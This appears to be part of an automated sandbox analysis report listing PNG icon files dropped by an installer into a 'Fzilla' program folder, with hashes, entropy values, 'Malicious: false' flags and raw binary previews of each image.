Category:	dropped
Size (bytes):	3163
Entropy (8bit):	7.611068614820174
Encrypted:	false
SSDEEP:	48:e22Jfa6yNgTfWEqrV/J1hmdleeeuQ77ekH3pIrgrO126a6vdN4Ppb9ggxz:eVJffyaDWEY71hKaHB3/O06Td4pbSg
MD5:	DAC7322EB12099122145D2431CAF1EF1
SHA1:	30B3CA4F92B659419F544DEE49075E30E584F72F
SHA-256:	4AF5B556C71DDF23E8102E34566A89DDE088A483CDF4BE6A2816A6DCF950BDE0
SHA-512:	0646DF92E04CDA777A2B62FC03EFCA1FE905658FF450C01B2DCF70516D4265FF0E9CD2E35C1FAC4E4292B359DCF5B74C288A99C5F80CD018B8FCC40FD1E58A21
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL.............................................................................................. ...aG.......~......lO...G3......................................................................................................................................................................................................................................................n....................x....*.......{.........b.................}.......a$Y.....tRNS..Fx............n...h$9.....X.N.t....../....Z&..N..+z#T........................pJ..._....W.u........(........=..Z.D...{..g.6.R.7.Ea.E..^.w6.L.c.~:...k>..r0...c.-..v......^IDATx.....P..P..eff.......iA3..........................Q...%.$_(...,x.J.V..7.-.+.;.fK.m..E.[.,..Z.<T.fTn8..s0.j..gsy...f.4x81...0.....DjCa".......N......w.-QKp.?..Gr3T.jOi#7B..Ee...95...[..F.}.um5.>.\.Q.R._UI../........j[~%....q.Op.......j.DpV

C:\Program Files (x86)\Fzilla\resources\default\480x480\folderback.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	6038
Entropy (8bit):	7.7896870537265865
Encrypted:	false
SSDEEP:	96:bZo41O32DeteIrw1kOs+6QNxmgzWQ1xJVLHGkbvKB0oljHJIt0G+ulcIx/Qn9dna:bC41E2iteIskOsSA2WQ1VLmUCDp6GuWm
MD5:	4FB33DFFF3371B53CF990BF3EF4577C2
SHA1:	B4C0C53C7FA9826C17304D35B043A9A2524996EE
SHA-256:	DE44AF39AAC7131AD05258246552DFC89E1C1634BAABD2989F4CBADA8D67598C
SHA-512:	7272515CDCC85C9F9795C7DC5D74C939735A52599E9B06F9508ABE9E3A4B1A769394195B6788414EEBC6C27DA9CED7D000B11A2F1BF082399ED41BDCFE93FA03
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL.............................................................................odE.....bH.C2..........kM..................................................................................."..?..U..g..y................................... .....4..\............F..u...............=.....O....,..n........~..........1....^..............:...........J..c..`......Q.Q..,.,............,,,............mmm.........NNN..................yyy................@@@.............................................P.P...............J.Jr.r......888....................................K.K%.%.....K.K......>.>_._.................\\\.............................................................................~.......tRNS..Ex..........w..m..%:....V.K.....\/O7...'"..a+..M.V.........................................................................................n.;....S.*.W.$..G..-.D.ew.!\|..jU.?..........Z.9

C:\Program Files (x86)\Fzilla\resources\default\480x480\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2198
Entropy (8bit):	7.49847240377598
Encrypted:	false
SSDEEP:	48:vYW0f9lBTP1tLezNtahytX6666666666io0xHHHY/Q2sO2iSQbp:veHlTatO0/L2iFp
MD5:	F41DA3306071CEF65632B5591CB57504
SHA1:	FD7F206EE5B191F5BB327BB37FE586D90C1FDFA9
SHA-256:	BF67DEC586E7BADB5C358AC4734CB80C550CF03438EC70C5444068319BCC3753
SHA-512:	2214CF7CFC145504125B2179686F19E861438F94F7EB7D937D943FC682FE7DE0C594F29228E8B988F955507C755B445578D3124B7849CDF7EF7A65782EAFFEBF
Malicious:	false
Preview:	.PNG........IHDR.............J.N.... PLTEGpL..............................................#.................................._.......~......pT...E4.........................................................................................................................".........uq.B...`tRNS..Fw............m..%9....X.M...../...W#..N..+."V..........................yE..mz..8L.J_.......e8....IDATx.....l1..P_L.ef...\|............................I..E.~Ip.j....y=4[...^....+....[.Ao(x.^[.Qe..<....Q.=...3u...l&x.d...9.?..i.\k"xD..8..z@Rh4j...&5....Oc.q).r.L.Ff9....4>......h.M....PY.-..H-S..=....U...hz..O.2.4j.\.......x.\5..j..r.2..T.B..s.9....sP..c9.N.I[.U..e...]Y.Y.....n5m......F.g;0B...nj;0.`b;0j....4m..ff;0.......p...w......E.T1........VH.....(F.).wS..K.....e`v......^.....^Na...La.....)L`...)L`...)L`..};..l.w2..l.....6.s...6.C...x.E.&....]...wW~Sx.3.CL9g.T%..B......0...el.....M..=N...w..W..\|...+b..a.......ca.....W..

C:\Program Files (x86)\Fzilla\resources\default\480x480\folderup.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5994
Entropy (8bit):	7.816077503911296
Encrypted:	false
SSDEEP:	96:sBuXU5t3zsDnMTuCtn2AT7EL/++EtvK0dnajrw9HS0b7mYsocn8b/6DLg:sUXU5dYnMTFR2o7wGXda6b7m+cnQ6DLg
MD5:	E562C94006CB02A351754462D36459D3
SHA1:	EE7A05212042A7800AA9D8B20421416D347B2C00
SHA-256:	7F0899F331F7C33A0781BA909F80144BF6A58771C3AD8E2C13185FF372CF780F
SHA-512:	B8E2812FE8DF47E751A6462DF714243C9320BF033A7D04B869456121741A0009B164B836BD1731A47F6BB59782C47AC6F9E4984414E161CA589B655C7C490837
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL..............................................1........................w.........mO.......~......lO...@1.............................................................................C..R..f..y..~..............o..]..M..:..%.....X...........................H..)..................................t.....b..6..................2.......... ......c.......j.}.B..B...\|..f..}......222............ccc.........RRR..........C..................................mmm......xxx......................................................BBB.........................................:..,...g.6z...#n.....................................\|........................................................I..E..N...................w..V....tRNS..Fx............l..#9...VM.q.../....`..N..+z"V.............................................................................................9....R.'.Z.$.M.....4..P.n....-..~k......r

C:\Program Files (x86)\Fzilla\resources\default\480x480\help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	6442
Entropy (8bit):	7.873449497068477
Encrypted:	false
SSDEEP:	96:SkU/zn/0QetYFlGKIvUIme9QW5fLmS/jvaN5ie6oL+4HlJ3fMeYkJEeZyR8lQ3f:mz/btIvU1e9QvS7va316oBFJ36JaCr3f
MD5:	BF8B87517AEF468F43AF11CEDF739078
SHA1:	EE57D75C608A3D214443DB8E9FFC74E7829FC260
SHA-256:	AE4050393D3D0AA4901550538EC3B0D2148F1F5BE462E1FB9BE235A7EF456AF3
SHA-512:	3DBD3AC5FD519D459A425D57177B267E05329CDB749372EC11FEDE66B6E2761063FE08AD9168CEBE8A721BAE2BF3FE799BA8D107330823937544FF660495C1E4
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpLhhhgggiiigggggghhhgggfffhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhggggggkkkiiiaaaeeehhhhhhggghhhhhhiiihhhfffhhhhhhggghhhhhhhhhhhhhhhhhhgggiiihhhhhhhhhhhhkkkiiiggghhhhhhhhhhhhfffhhh...hhhhhhhhhdddeee...hhhbbbggg^^^iiihhhfffdddaaa^^^[[[[[[XXXUUUQQQPPPLLLNNNLLLLLLLLLLLLSSS```eeedddLLLOOOfffLLLbbb```LLLUUU___NNNhhhLLLQQQYYYXXXgggIIILLLMMMHHHKKKJJJMMMKKKHHHfffFFFNNNgggLLLKKKKKKKKKUUUNNNKKKeeeKKKJJJccc]]]LLLhhhMMMhhhHHHffffffNNNNNNKKK999...@@@...KKK###......PPP.........777...JJJ...AAA...ccc......---......000HHHhhh333IIIFFF...KKK......ZZZBBBKKK...<<<.........AAAJJJ'''BBBJJJ...ggg'''^^^FFFGGGJJJDDD===...>>>555DDDIII...JJJFFFHHH333@@@KKKeee...999(((...UUU>>>LLLIIIKKKDDD<<<CCCTTT^^^...iiiYYYQQQ^^^cccRRR___PPPUUUYYYbbbXXX___ZZZbbbeeebbbNNNQQQPPP\\\[[[bbb(.......tRNS..&9N`ny.................s;+...Y....P/.4]....f?.K.........#..U.}.....c.).w.............................G....!..R../.w...,...C.Xq..~............f..+......L...u....8..<..C....$.

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-0ES4L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	9389
Entropy (8bit):	7.933343802830352
Encrypted:	false
SSDEEP:	192:Bz+KXMnvd4CxFkzS9OhgtJxqDFCYsKAwQWsVcTgi7rSL3b:Bz+emvOsKB+iDHsb8gXv
MD5:	77269A36DB7A4BFA680F7B013D848A75
SHA1:	CF44D541845FBE939160B4BFB52C08C4C893B27B
SHA-256:	B8485E4E544DA9CFBFE8D3D3960840BFC0A2933905652628C26C5FAB1C1EC2B1
SHA-512:	8328C0016D0F06D75DD752F4F8B2BC0645D4FF8EE1BED71D1C32224D25B630B4AAB8FDA49A5AAB39AADA24502055A4628F67128CB903D2C2F29B2390488638E6
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpLggg___MMMeeehhhJJJhhhLLLZZZgggIIIhhhLLLhhhIIIhhhKKK...hhhLLLhhhWWWgggLLLeeehhhKKKhhheeehhhMMMhhh___&&&hhhJJJ---gggLLLhhhhhhKKKgggIIIbbbLLLhhhggghhhKKKgggiiihhhDDDhhhJJJhhhLLLhhhIIIfff]]]\\\......hhh...hhh...hhh000...hhhCCC...HHH...ggg%%%...===...EEEhhhIII.........666...HHHKKK,,,>>>FFFhhh...===......333eeeBBB999LLLHHH...JJJJJJQQQ**FFFGGGbbbaaaCCCYYYXXXLLLLLL....................vvv............ccc...PPPppp.........\|\|\|.............___sss......YYY.........[[[...............;.;,.,R.R%.%...j.j9.9.........l.lQ.Q+.+...P.P.....i.iM.M(.(....I.I...3.3..c.c.....d.d\|.\|V.V..A.AH.Hr.r......4.4...q.q_._..\|.\|].]........B.B.....x.x.....?.?..o.oD.D...w.wW.W...hhhLLL......MMM...............}}}..........................iii...lllUUUyyy.........\.7...ytRNS......8..oA... ..Z+.f....B.~S.......i.{...T...=w....%.`6.........L<..p...2,.].......J...6d..&X..C.wP!.!I.^1.....tm.f.... .IDATx^..ms.U...b..$..M&Y..Y..X..b...B1.....M-Q...}..

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-0M0KN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7368
Entropy (8bit):	7.920394518124266
Encrypted:	false
SSDEEP:	192:K33Z5JwtdpEhfl4RqfQS/RDcp6fk1nPX8tRAiCJaiQE:KnZstd6t4QRDsUk98si1E
MD5:	31CB1244F73290719DF3C7538B730AD9
SHA1:	D3AA9CF378BB4FE8B231487EFD0B647BCD3C8A06
SHA-256:	3E1A1E56E1B1B47FD85D83D0071EA146307F49E591A8A2CB8807E7EBAA6C4A18
SHA-512:	9D1FDC85C4AFE39A51C91159C5A518D81B169D1B786FE14128709A6C573391E16DC449F6653D7EF77E7DEDBFAD81EE4C63220189C1296691B58DB87CAAF8D628
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL...MMMJJJKKKKKKKKKLLLLLLLLLLLLLLLLLLKKKNNNLLLKKKKKKMMMLLLLLLLLLJJJKKKLLLLLLKKKJJJKKKKKKNNNcccIII\\\EEEMMMGGGJJJLLLMMMBBB LLL...KKKJJJMMMSSS......%%%...........................---===.........GGG===...OOORRRWWWZZZ]]]___bbbdddfffggghhh:::PPPVVVhhhhhh```ggggggggg```hhhhhheeeXXXggghhhgggggg555fffiiihhhhhhaaaggghhhbbbhhh___hhhggghhhdddhhh^^^fffhhhfffhhhhhhhhhhhhhhhhhhWWW]]]fff\\\cccfffRRR___fffaaa[[[hhhfffhhhWWWiiihhhfffhhhdddhhh^^^fffaaaiih\|t\.~P..E..:...'.!...........{s]kkk.................vY..2."......~uZ..B.).........{S..5.......6.......nke..Fuo`..:xq^.1...yr]..9....$kif..=...........J..H..@........7.zU..../........7..]..}...........................S........?........................ ...............3...}R..q........PKB.....tRNS..(\.........xT-..0...t5...i......AMH..P=.....b..&.........+`....9!...........5..8../..c..o....0#.........^...y....TWo..e....Y..y..@l..K..e..........IDATx......A...sy..YR..-\|...........

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-1APJN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.966572392789165
Encrypted:	false
SSDEEP:	12:6v/70Di0Z1Z1E0+h8tKsssss9U8fYLXL444GXXXXXXXXXXXXXXXXXXXL1xd8xIxd:75u0+oKsssss9U8A58xO6h9q
MD5:	E08B0F6B99714332A5ED3817AF06F694
SHA1:	6DCFCB4253398169E14FA6B6222203371652946C
SHA-256:	4C7A9A59FFDBA87A0C8F25B7032D6B62E078AE31B7BADEB851585FC67998872E
SHA-512:	B30AA63EB040289C9A664401FCAD2853B5168AF4691F1AF252E93BCC52AE6D86E9778FDB1F998853EA45AEA016727882E483880EF0947FF76F7C081F237EA7BC
Malicious:	false
Preview:	.PNG........IHDR....................0PLTEGpL.\|..\|..f..d..;m.......\|..f..v..].....v..\.......R....tRNS.!..!8..w.}........u....IDATx...1.@@....."\|..B...l..w................... ,,,,,,,,,,,,,,,,,,\v...................................................................................................................................................................................................................................C<K~.6./<RG.D..@.._S.>(...h.........HJ..-1......[`@l.........[`@l.........[`@l.........[`@l.........[`@l.........[`@l............13..v..K%..j.v.b...-0 .....[b.l...%.....[b.l...%.....[b.l...%.....[b...-0 ......b...-0 ......b...-0 ......b...-0 ......b.....%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%.....[b.l...%....tG.D..@...$.................-.S...X.N1..b<..xp......-.

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-1QH8A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	9002
Entropy (8bit):	7.90499917866584
Encrypted:	false
SSDEEP:	192:85bym70BSUT65YNWN4LgwR8QOl6xjOyJ0Bpz0Q34IvCZSS0OlApz:85bH7yT65IiCclKOBR0QIK/SnlO
MD5:	F95D73543381834FD6AAD987DF30F157
SHA1:	29B81A5613C3A7B73260F2579B23B1CDAFFE4FC9
SHA-256:	E72E2057AFE1C9C449C2F43A83129DC24D4349E34F40CE957B56F7F87ABA927A
SHA-512:	095924C202A73FF4D91668AD9FF6EFEC9D5F12D410487669AC2518D7CAEB12651284D051BA8AFD692BF0E0CB059C70BBC590D265B38FA1243242385E50262B0D
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL.t..u..w..\|..\|..\|..\|..{..\|..}..\|..\|..\|..\|..{..\|..{..\|..\|..\|..{..z..{.....\|..\|..\|..\|..{..y..}..z..\|..r..\|..\|..\|..\|..s..\|..\|..\|..}..y..}..\|..U..f..f..i..f..h..f..f..c..f.....f..m..h..e..f..f..e..f..d.....l.....c..f..c..k..z..y..x..y..v..s..f..p..n..l..i..f..j..r..c..b..a..]..X..P..M..>m..0._..K.......Cu.Z..s.....E\|.x..V..v..T..l..s..M..^..4^.u...........................................,.,-.-...%.%%.%%.%.&.&.'.'%.%+.+&.&).)'.'+.++.+%.%,.,+.+'.'+.+$.$,.,+.+%.%%.%,.,%.%).)%.%'.'&.&,.,'.',.,,.,#.#%.%%.%'.'+.+%.%,.,,.,-.-%.%,.,%.%+.+,.,).)%.%'.''.'%.%%.%+.+.%.%,.,...%.%(.("."....K.$.$,.,.$.$&.&....%.%$.$&.&%.%+.+.j.%.%).)&.&&.&.!.+.++.+).)&.&....y.....#.#.Z.&.& . ..4..t.%.%,.,$.$).) . .).),.,%.%+.+.*,.,%.% . ......"."..."." . ...x....tRNS..&7F^m...........xaN .......,.2V.=s......g.....o...........D.O........Xz...........f......sYH3!.'..8...?.N.ev.D......................... ..&.-.....5.I..T..e.t..........vi..X..G@l.........W?'

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-1T3AB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	9233
Entropy (8bit):	7.881461091129402
Encrypted:	false
SSDEEP:	192:DjfNACMnpxmSOuyBPQNr6uFF2kp8w4ESSB91C82yg6h:DpACMnPtOFParJFD8wXSePP2m
MD5:	F0AE57C083B3ADA598C3ABB1074D9877
SHA1:	2BB4664A2421A7CB5B623870A7B57EA1F8E332C2
SHA-256:	DD8D6DCE5B232BE9C8AFD5474D67A41C01A8C9C8A24EAD135AA582B04AA3157C
SHA-512:	7DB4156CF7514138E497F9FD50E3D4B14D680259A58FE08493F324C8BF14C7178A70F099E058B76E456173888E87DD006967F91F34DBA22622A6566AFE6D1E96
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpLbbbeeehhhiiiggghhhggggggiiihhhggggggfffggghhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhggghhhgggjjjdddggghhhhhhhhhhhhhhhhhhhhhhhhhhhiiihhhjjjppphhhhhhfffgggbbb...hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhggghhhhhhiiihhhggghhhgggiii...iiihhhjjjhhhiiihhh...hhhhhhiiihhhggggggqqqffffffiiiiiigggggghhhhhhhhhhhhhhhhhhgggUUUhhhhhhggghhhhhhgggfffiiihhhhhhfffiiiBBB........................hhh...........................'''^^^GGG.........777[[[ddd.........DDDhhh......;;;___aaaeee...---aaahhheee^^^...@@@eeeZZZJJJiiihhh...\\\ggg;;;...[[[...eee777bbb777fffTTTQQQhhhcccgggWWW```eeeiiiIIIYYYbbbfffPPP^^^cccfffUUU___dddaaahhhNNNfffcccfffjjj111^^^dddXXXeeeTTT)))bbbbbbgggddd[[[RRR[[[WWWcccffffff___TTT555YYYLLLfff\\\^^^eeeaaaccceee```JJJQ.......tRNS..%C[n....^N7..4Q..........h..X....\|KFy.k..U....1......2..t.(...-.f.a.0....d...=...v@.r:i.........H....,.".<..................'.B... o...$?...7.......o!9.qI.....5.y..2.0.\V../f..NEv..S...b...O...$...m.d.....\|Yvi..._+sL......p)...... .IDA

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-259F2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3163
Entropy (8bit):	7.611068614820174
Encrypted:	false
SSDEEP:	48:e22Jfa6yNgTfWEqrV/J1hmdleeeuQ77ekH3pIrgrO126a6vdN4Ppb9ggxz:eVJffyaDWEY71hKaHB3/O06Td4pbSg
MD5:	DAC7322EB12099122145D2431CAF1EF1
SHA1:	30B3CA4F92B659419F544DEE49075E30E584F72F
SHA-256:	4AF5B556C71DDF23E8102E34566A89DDE088A483CDF4BE6A2816A6DCF950BDE0
SHA-512:	0646DF92E04CDA777A2B62FC03EFCA1FE905658FF450C01B2DCF70516D4265FF0E9CD2E35C1FAC4E4292B359DCF5B74C288A99C5F80CD018B8FCC40FD1E58A21
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL.............................................................................................. ...aG.......~......lO...G3......................................................................................................................................................................................................................................................n....................x....*.......{.........b.................}.......a$Y.....tRNS..Fx............n...h$9.....X.N.t....../....Z&..N..+z#T........................pJ..._....W.u........(........=..Z.D...{..g.6.R.7.Ea.E..^.w6.L.c.~:...k>..r0...c.-..v......^IDATx.....P..P..eff.......iA3..........................Q...%.$_(...,x.J.V..7.-.+.;.fK.m..E.[.,..Z.<T.fTn8..s0.j..gsy...f.4x81...0.....DjCa".......N......w.-QKp.?..Gr3T.jOi#7B..Ee...95...[..F.}.um5.>.\.Q.R._UI../........j[~%....q.Op.......j.DpV

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-29I87.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2426
Entropy (8bit):	7.173475038176575
Encrypted:	false
SSDEEP:	48:Vb6fcRyyUTT1nf3UeGj5nMoMwW/ZVUHBYIYo2hBo:CGuT1nlY5nMfhuHxVK6
MD5:	3DAED236D7DF410FF02684080378572D
SHA1:	B7427A30E75C4AAD0A8B031BBEEB16E57BA7B8B4
SHA-256:	75A915C0CAF149C46DF534577F1FB089FAC8CF0EFDA8FBE6115B5118942391E5
SHA-512:	2A4C7659795B6C497AE657CF287DC8580769E3D7A91C130F0E559F45C1E55E60324E80C4C2B0C2722E7BD0158D8779151B0A80177EEEA5BABFE277FE9870B55D
Malicious:	false
Preview:	.PNG........IHDR.............J.N....&PLTEGpL)))ggghhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhggg+++ggggggiiiyyy......lll\|\|\|qqq~~~ttt.................................................................................\|.............................................9<@.............Y`f..............................."........}.....btRNS..Dx.......l.9..L....................................................x.GU."..ly.+...8O.L._........'(....IDATx.....0.D.%.&..k...I.............................n..F....wmSW.H...(.8OI.-.h.j\....F..E..(^...>.....8N#...mU6..nJ..H.tK5..t....`..N#.S..F@..J...tMk.....j.....L`...k..q.@....+.Y^.23..b......l}G. .7..s=?xD..v..B.....q...~....%...8AC.#..f..'.v..:.V......`...... GM...F.....h....l.P.....!2....w..bM.dH..z...5..z=.....Yg..C.t.Q8lS^;D^$)....@.......dP_...T4BN..!r..a.:....bLF.]T.T.........;_S..&.M.62bI.92.%.Nw]y.....@.y....c..2......F....nI.%R.....JRu......AAB.y...q.H..3.fHPt...@.q>n@..RR..............P...n..

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-2EAKG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	17611
Entropy (8bit):	7.936027216507175
Encrypted:	false
SSDEEP:	384:9jaNkb3JEsrxVmciLr1RczKgLHt8KQhz7cNE2DvjAROGj:xaGb3JJxVmciLxOzKcN8bwNE2DL2
MD5:	576283CB669678FD8B462745115D8ACF
SHA1:	41A6EB678B25DCFB49401B85C62CE5FFB378BC31
SHA-256:	40C0C7CF55787A53920D4D615AFB93FA6EF9C33EDADF02D14F6483779572B77F
SHA-512:	694330D415B183219E77FE5D2632F0A0AF4F9713A5079ADBB7EB584B6EDD23837E4DFBC7239AD0E36BB5ACF0CAC8F5675A0DD3A8E66A1840BD69720A7031C548
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpLeeeiiihhhiiiggghhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhgggiiieeeiiihhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhiiihhhggghhhhhhggghhhggghhhhhhiiigggggghhhgggggghhhiiiggghhhhhhhhhhhhgggfffiiihhhhhhhhhgggggg...gggiiigggggghhhhhhgggiiimmmjjjhhhhhhhhhfffhhh...ggghhhhhhggghhhhhhhhhiiiggghhh\\\hhhhhhgggjjjhhhhhhhhhhhhhhhiiifffgggfffggglllhhhfffiiihhhmmmddd......///...fff>>>......^^^...^^^...HHH...fff......VVV...eee......fff```...YYY......333DDD...WWWggg......FFFgggbbb^^^......fff......gggMMM.........___...777eee;;;111fffeee\\\[[[dddYYYddd[[[[[[cccggg^^^MMMggg```AAAgggQQQKKKTTTYYY...RRR\\\,,,aaaddd...ccc...___gggUUUaaaKKKeee]]]UUUbbbMMM___HHHbbbZZZXXX___SSSbbbNNNccc@@@999hhh$$$aaaYYYhhhBBBgggQQQgggeeefffbbbcccfffddddddddd888<<<```NNNbbbVVVTTTaaaSSSVVV\\\]]]]]]ddd@@@&&&```?.......tRNS..Af...........lI..4Z........vU(?c....oW..C...{0.R...i.\..}...=.s$.........2_.9@.!F......7.:+.y...y.....aM....(..9..c...F....h......s../?.k..!B.....o...O.....3.4,..x.o.v\|

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-3K3KE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1404
Entropy (8bit):	6.50184507502826
Encrypted:	false
SSDEEP:	12:6v/70GPPgk7gB3ywx+FH9WvnPmV4qBJyI6BJyICc1NCavvvYOkl5qIZwDD3PgiBk:QgbU2RnPm64PWxgiBe+nsWglKyyO
MD5:	084F031857785E083227F56E67616415
SHA1:	F934F48D038C8BC7CBA8EF3EAA9883A4A720C1F0
SHA-256:	3C1EFCAA6B3776634606940D6D4B68F1F52C75D72B66260946BC559961282535
SHA-512:	7B71EAABE99DD595E7D21D6283DF5B817F8A57D0C311A6A54FD1347E26C82829A4B38875995DF208E5B105892F01E36B37A6E2C7CBB0BD83193FC40658E02230
Malicious:	false
Preview:	.PNG........IHDR.............J.N....cPLTE...NNN@@@JJJNNNMMMNNNIIIMMMNNNNNNMMMKKKHHHJJJMMMMMMIIINNNMMMDDD...fffNNNDDD......LLL...MMMCCC........vS...!tRNS.'..R.}...$..'....q...\|.....X.........IDATx...1..... .....`1.....................................................}.4..P.$......z..^..Ro./..........g\|....z]..o..{...o......w/,....^X\|.v...&.{a.M.}......7a....o......w/,....^X\|.v...&.{a.M.}......7a....o......w/,....^X\|.v...&.[a.MX}....0.........k_.w........K........b.x...`.I.p.@...D_P...E_^..-E_^..-E_^..-E_^..-E_V..-E_V..-E_V..-E_V..-E_V..-E_P...E_^...E_^...E_^...E_^...E_^...E_^...E_^...E_^...E_^...E_^...E.w...%m~.w..W.....w<.K.....\|a.N....(.....U.........F8.{........f.................N................................K.o@./a..............K.oE./a...\|..%.w@./a......%.w@./a......%.0..a......%.0..a.....; .0..a.....; .0_.\|.....%.0_..........K.o@./.)_.\|.....%.7 ../a...}..%..K./a.ma.ma.ma.ma.ma.ma.ma.ma.ma.ma.ma.ma.ma.ma.ma.e././.g.0_.\|..= .0_.\|..%..

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-6IQJS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	7.553016497296657
Encrypted:	false
SSDEEP:	48:f+pztxMclZZjWA44e2Oa28uocUvJeQ2BAD2HCt8uHyqLROw44caJnwYlNOvS/44D:f6blZZjv443Oz8bnRByTecKL72S/444a
MD5:	8EF619E2FD6613D80CD761C5FAB62092
SHA1:	6C3CA15E4D9026643E4A9958BDE6173EDEF3E69D
SHA-256:	18E3E7D585191AAAAD145740530D6941C07A8F9ECFE2177C6782969E3532BFCC
SHA-512:	66149A4FB6A06B237A41FF53FE85CB2A20F5AC3E39A16173B3986F8170DCFEB65EEAE7146BF5B876661F89BEE863E0E0DFCD002AE90C6302E1AAFD51AFAB70BC
Malicious:	false
Preview:	.PNG........IHDR.............J.N.....PLTEGpL............hhhLLL...............mmm...jjj...iii\|\|\|~~~...zzzMMMnnnggg...}}}vvvkkkPPPRRR...{{{ttt...pppxxx...........VVV........oooZZZ...qqq...\\\yyyrrr...eee...............QQQ.............lll...sss......www.........[[[...........................uuuSSS.........ccc..................]]]....................fff...___........................NNN...YYY.......................TTT................UUU........OOO..........WWW............................XXX..f....tRNS..eT.J3...PIDATx^..1..... .....X..................................................................................................p......`.$......Z........,X.`.....,8@p........,X.`.....,8@p........,X.`.....,8@p....%X.`.....,X.`.../ 8@p..}.....,X.`.....,X.`.....,X.`.....,X.`...?.......bX.\LE.....Ca...}]..\.a&..\|m...._.f^p..0......\.?.......~....a.....3/.`..y.........f^p..0......\.?....a....?.-...........f^p..0......\.?....a.....3/.`..y.........f^p..0......\.?....a~.

C:\Program Files (x86)\Fzilla\resources\default\480x480\is-6TQJ2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 480 x 480, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1408
Entropy (8bit):	6.9584684581679435
Encrypted:	false
SSDEEP:	24:ZU/5cTjcKhnT9lKZ5KjWO3o5kiz735kOnP65POPzWi5U77////chqEqXo:ZUKTJRTY1O3WkQpkOP65POP6SVqXo
MD5:	10AD50B05A6AB28861B99529A9863DA9
SHA1:	C8B86B8B3BE4721128CC35299BFDD60E75C2058A
SHA-256:	6322EF3887B166933AD21A5B69C54F4F1C02D822C047DE51A2AA7FF89F73A5ED
